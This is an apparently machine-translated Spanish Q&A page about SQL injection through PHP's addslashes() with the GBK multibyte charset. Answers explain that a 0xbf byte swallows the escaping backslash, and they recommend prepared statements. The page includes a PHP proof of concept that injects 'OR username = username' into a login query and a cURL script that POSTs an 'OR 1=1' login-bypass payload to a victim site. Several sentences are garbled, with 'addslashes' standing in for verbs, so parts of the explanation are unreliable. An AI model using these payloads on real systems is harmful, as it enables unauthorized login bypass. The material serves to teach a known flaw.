php - tipos - sql injection ejemplos reales
Ejemplos de inyecciones SQL a través de addslashes()? (4)
Bueno, aquí está el artículo que quieres .
Básicamente, la forma en que funciona el ataque es haciendo que addslashes()
coloque una barra addslashes()
invertida en medio de un carácter multibyte, de modo que la barra invertida pierde su significado al formar parte de una secuencia multibyte válida.
La advertencia general del artículo:
Este tipo de ataque es posible con cualquier codificación de caracteres donde haya un carácter
0x5c
válido que termine en0x5c
, porqueaddslashes()
puedeaddslashes()
para crear un carácter válido de múltiples bytes en lugar de escapar de la siguiente cita simple. UTF-8 no se ajusta a esta descripción.
En PHP, sé que mysql_real_escape
es mucho más seguro que usar addslashes
. Sin embargo, no pude encontrar un ejemplo de una situación en la que las addslashes
permitan que se addslashes
una inyección SQL.
¿Alguien puede dar algunos ejemplos?
Como una adición para los lectores de las respuestas aquí: Este error de MySQL ya ha sido reparado :)
Además, siempre es una buena práctica usar declaraciones preparadas. Es la forma más libre de explotación de las consultas (y, en varios casos de uso, las de mayor rendimiento). Y te habría salvado de este defecto.
mysql_real_escape_string () versus declaraciones preparadas explica claramente que mysql_real_escape_string () no es 100% seguro .
usando mysql_set_charset (''GBK'') para reemplazar mysql_query ("SET CHARACTER SET ''GBK''") , mysql_real_escape_string () puede ser 100% seguro.
Chris Shiflett explica claramente con el siguiente ejemplo: Eso funcionará, por supuesto, si lo intentas al usar la codificación GBK en tu base de datos. Incluso lo intenté, esto prueba, hay posibilidades de inyección de sql, aunque son muy inferiores, pero alguien con buen conocimiento y capacidad puede inyectarse fácilmente. Aquí hay un ejemplo...
<?php
$mysql = array();
$db = mysqli_init();
$db->real_connect(''localhost'', ''myuser'', ''mypass'', ''mydb'');
/* SQL Injection Example */
$_POST[''username''] = chr(0xbf) . chr(0x27) . '' OR username = username /*'';
$_POST[''password''] = ''guess'';
$mysql[''username''] = addslashes($_POST[''username'']);
$mysql[''password''] = addslashes($_POST[''password'']);
$sql = "SELECT * FROM users
WHERE username = ''{$mysql[''username'']}''
AND password = ''{$mysql[''password'']}''";
$result = $db->query($sql);
if ($result->num_rows) {
/* Success */
} else {
/* Failure */
}
?>
Aunque el uso de addslashes () o magic_quotes_gpc normalmente se consideraría algo seguro, el uso de GBK los haría casi inútiles. El siguiente script PHP cURL podría hacer uso de la inyección, espero que esto te ayude un poco más a entender:
<?php
$url = "http://www.victimsite.com/login.php";
$ref = "http://www.victimsite.com/index.php";
$session = "PHPSESSID=abcdef01234567890abcdef01";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_REFERER, $ref );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );
curl_setopt( $ch, CURLOPT_COOKIE, $session );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>